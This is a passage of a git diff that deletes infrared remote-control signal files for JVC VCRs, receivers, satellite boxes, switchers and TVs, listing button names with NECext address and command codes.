VCR_PRESET_CH_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR1_PRESET_CH_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_10KEY_CONTINUE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_CHANNEL_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_CH_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_CH_^ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR1_PRESET_CH+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_PRESET_CH_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR1_PRESET_CH_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR1_0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 20 00 00 00 -# -name: VCR_10KEY_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: VCR1_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: VCR_10KEY_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: VCR1_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: VCR_10KEY_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: VCR1_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: VCR_10KEY_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: VCR1_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: VCR_10KEY_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: VCR1_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: VCR_10KEY_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: VCR1_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: VCR_10KEY_7/P -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: VCR_10KEY_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: VCR1_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: VCR1_7/P -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: VCR_10KEY_8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: VCR1_8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: VCR_10KEY_9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: VCR1_9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: VCR_10KEY_0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VCR_10KEY_10 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VCR1_0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VCR_+10 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: VCR_REC/PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR_REC-PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR1_REC -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR_REC_(REC+PLAY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR1_PLAY/REC -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR_REC/PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 -# -name: VCR_REC-PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 -# -name: VCR_REC-PAUSE/STILL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 -# -name: VCR_REC/PAUSE/STILL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 -# -name: VCR_REC/STANDBY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 -# -name: VCR_REC/PAUSE_STILL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir deleted file mode 100644 index 8a11c2d05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR2_STOP_(-_[]) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 03 00 00 00 -# -name: VCR2_STOP_[] -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 03 00 00 00 -# -name: VCR2_FFWD_(>_>>) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: VCR2_FFWD_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: VCR2_REW_(<_<<) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 07 00 00 00 -# -name: VCR2_REW_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 07 00 00 00 -# -name: VCR2_POWER_(ON/OFF) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0B 00 00 00 -# -name: VCR2_PLAY_(+_>) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0C 00 00 00 -# -name: VCR2_PLAY_> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0C 00 00 00 -# -name: VCR2_PAUSE_() -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0D 00 00 00 -# -name: VCR2_PAUSE_ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0D 00 00 00 -# -name: VCR2_PRESET_CH_- -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: VCR2_PRESET_CH_+ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: VCR2_1 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 21 00 00 00 -# -name: VCR2_2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 22 00 00 00 -# -name: VCR2_3 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 23 00 00 00 -# -name: VCR2_4 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 24 00 00 00 -# -name: VCR2_5 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 25 00 00 00 -# -name: VCR2_6 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 26 00 00 00 -# -name: VCR2_7 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 27 00 00 00 -# -name: VCR2_7/P -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 27 00 00 00 -# -name: VCR2_8 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 28 00 00 00 -# -name: VCR2_9 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 29 00 00 00 -# -name: VCR2_0 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 33 00 00 00 -# -name: VCR2_REC -type: parsed -protocol: NECext -address: 53 00 00 00 -command: CC 00 00 00 -# -name: VCR2_PLAY/REC -type: parsed -protocol: NECext -address: 53 00 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir deleted file mode 100644 index 2725ebeac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOPP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: SPOLA_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: SPOLA_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: POWER_ON-OFF -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_NER/CH- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_UPP/CH+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: 0/AUX -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir deleted file mode 100644 index 2564a08c6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: SATELLITE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir deleted file mode 100644 index a54599309..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir deleted file mode 100644 index cd70bec5b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0B 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1B 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1F 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 22 00 00 00 -# -name: PAGE- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 23 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir deleted file mode 100644 index 2f4d53b89..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIEW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir deleted file mode 100644 index 37009402a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OUTPUT_MONITOR -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 90 00 00 00 -# -name: MONITOR_1 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 91 00 00 00 -# -name: MONITOR_2 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 92 00 00 00 -# -name: MONITOR_3 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 93 00 00 00 -# -name: MONITOR_4 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 94 00 00 00 -# -name: MONITOR_5 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 95 00 00 00 -# -name: MONITOR_6 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 96 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 97 00 00 00 -# -name: MONITOR_7 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 98 00 00 00 -# -name: MONITOR_OUT_Y/C -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 9B 00 00 00 -# -name: SOURCE_1 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A1 00 00 00 -# -name: SOURCE_2 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A2 00 00 00 -# -name: SOURCE_3 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A3 00 00 00 -# -name: SOURCE_4 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A4 00 00 00 -# -name: SOURCE_5 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A5 00 00 00 -# -name: SOURCE_6 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A6 00 00 00 -# -name: SOURCE_7 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A7 00 00 00 -# -name: DUAL_OPERATION -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AA 00 00 00 -# -name: KEY_LOCK -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AB 00 00 00 -# -name: PROCESSOR_VIDEO -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AC 00 00 00 -# -name: PROCESSOR_AUDIO -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AD 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir deleted file mode 100644 index 2b7d136c6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: MULTISCREEN_SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: DIGITAL_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir deleted file mode 100644 index dda56253f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir +++ /dev/null @@ -1,698 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MAIN/SAP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: SLEEP_TIMER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: RETURN+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: ENTER/OK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: OK/SELECT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: ANT/CABLE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: A/V_RESET -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: AV_STATUS/RESET -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO_STATUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: CLOSED_CAPTION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: CLOSE_CAPTION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: ANT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: TV_TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: INPUT3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: DIGITAL_IN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: DIGITAL_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: POWER_(TOGGLE) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: CHAN_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: POWER_OFF_(ALT.) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: POWER_OFF_(2) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: INPUT4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: VIDEO4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: TV_VOL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOL_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: TV_VOL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: TV_0_(AUX) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: TV_8_(DAILY_M-F) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: TV_9_(WEEKLY) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: RECALL_CHOICE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: BIPHONIC -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 41 00 00 00 -# -name: HYPER_SURROUND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: VNR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 45 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 